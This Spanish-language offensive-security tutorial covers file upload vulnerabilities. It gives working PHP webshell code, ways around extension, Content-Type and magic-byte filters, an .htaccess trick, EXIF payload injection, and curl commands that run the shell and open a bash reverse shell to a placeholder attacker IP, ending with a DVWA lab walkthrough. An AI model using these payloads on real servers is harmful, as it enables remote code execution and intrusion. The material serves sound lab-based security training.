Saltar al contenido
Vulnerabilidades
Índice de contenidos

Subida de Archivos (File Upload)

Una funcionalidad de subida de archivos mal validada es una de las vías más directas a RCE: si consigues subir una webshell (un .php, .aspx, .jsp…) y luego acceder a ella, ejecutas comandos en el servidor.


El objetivo

Subir un archivo que el servidor ejecute como código. El caso más típico es PHP:

<?php system($_GET['cmd']); ?>

Y luego acceder a http://<IP>/uploads/shell.php?cmd=id.

Consejo: antes de subir nada, averigua dónde se guardan los archivos (fuzzing: /uploads, /files, /images, /avatars) y con qué tecnología corre la web (PHP, ASP.NET, JSP), para elegir la extensión que el servidor ejecutará.


Bypass de validaciones

Las webs filtran de varias formas; cada una tiene su bypass.

1. Filtro por extensión (lista negra)

Prueba extensiones alternativas que el servidor siga ejecutando como PHP:

.php3  .php4  .php5  .php7  .phtml  .phps  .pht  .phar
.PHP   .pHp                  (mayúsculas mezcladas)
shell.php.jpg                (doble extensión)
shell.php%00.jpg             (null byte, versiones antiguas)
shell.php.                   (punto final)
shell.php;.jpg

Para ASP/.NET: .asp .aspx .cer .asa .shtml. Para JSP: .jsp .jspx .jsw.

2. Filtro por Content-Type (cabecera)

Intercepta con Burp y cambia el Content-Type del archivo a uno permitido:

Content-Type: image/jpeg      ← aunque el archivo sea PHP

3. Filtro por “magic bytes” (contenido real)

El servidor comprueba que el archivo “parezca” una imagen. Añade la firma de imagen al principio del PHP:

GIF89a;
<?php system($_GET['cmd']); ?>

GIF89a es la cabecera de un GIF; el intérprete PHP ignora el texto previo y ejecuta el <?php ...?>.

4. .htaccess (Apache)

Si puedes subir un .htaccess, fuerza a que una extensión inocente se ejecute como PHP:

AddType application/x-httpd-php .jpg

Luego subes shell.jpg con código PHP y se ejecuta.


Webshell dentro de imágenes y metadatos

Esconde el código en los metadatos EXIF de una imagen real (útil cuando el servidor procesa imágenes):

exiftool -Comment='<?php system($_GET["cmd"]); ?>' foto.jpg -o shell.php.jpg

Tras subir la shell

# Localiza la ruta y ejecuta
curl "http://<IP>/uploads/shell.php?cmd=id"
# Lanza una reverse shell (ver Técnicas · Shells y TTY)
curl "http://<IP>/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/443+0>%261'"

Si no hay ejecución (SVG/XXE, XSS almacenado)

Aunque no logres RCE, una subida puede dar otros frutos:

  • SVG → XSS almacenado o XXE (ver XXE).
  • HTML → XSS almacenado.
  • Path traversal en el nombre (../../) → sobrescribir archivos.

Herramientas relacionadas

HerramientaDescripción
Burp SuiteInterceptar y manipular Content-Type, extensión y contenido.
exiftoolInyectar payloads en metadatos de imágenes.
ffufLocalizar el directorio de subidas.
weevelyGenerar webshells PHP ofuscadas.

Consejo: el flujo es: identificar tecnología y carpeta de subida → intentar subir una webshell → si hay filtro, atacar el punto débil (extensión, Content-Type o magic bytes) → acceder a la shell y saltar a reverse shell. El combo GIF89a + doble extensión + Content-Type falso supera la mayoría de validaciones de los labs.


Dónde practicar la subida de archivos

RecursoTipoEnlace
PortSwigger Academy — File upload vulnerabilitiesLabs gratishttps://portswigger.net/web-security/file-upload
DVWA — File UploadDescargable (Docker)https://github.com/digininja/DVWA
OWASP Juice ShopDescargable (Docker)https://github.com/juice-shop/juice-shop
TryHackMe — “Upload Vulnerabilities”Sala guiadahttps://tryhackme.com
VulnHub / DockerLabsMáquinas completashttps://www.vulnhub.com · https://dockerlabs.es

Writeup guiado: File Upload en DVWA (nivel Low → Medium)

  1. Preparar
    DVWA en Docker, sección File Upload.
  2. Subir shell
    En Low, un .php directo.
  3. Localizar
    La ruta donde se guarda el archivo.
  4. Ejecutar
    Acceder a la webshell y lanzar la reverse shell.
  5. Saltar filtros
    En Medium, falsear el Content-Type.

Paso 1 — Preparar y subir (Low)

En DVWA (seguridad Low) ve a File Upload. Crea shell.php:

<?php system($_GET['cmd']); ?>

Súbelo: en Low no hay filtro y se acepta tal cual.

Paso 2 — Localizar y ejecutar

DVWA indica la ruta (../../hackable/uploads/shell.php). Accede:

curl "http://localhost/hackable/uploads/shell.php?cmd=id"

Lanza la reverse shell como en las otras notas.

Paso 3 — Saltar el filtro (Medium)

Medium valida el Content-Type. Intercepta la subida con Burp y cambia la cabecera del archivo a image/jpeg manteniendo el contenido PHP. En High, añade los magic bytes GIF89a; al principio y usa doble extensión / .phtml.

Consejo: el combo GIF89a + Content-Type falso + extensión alternativa (.phtml, .php5) supera la mayoría de validaciones de los labs. Si no puedes ejecutar PHP, prueba .htaccess para forzar la ejecución de otra extensión.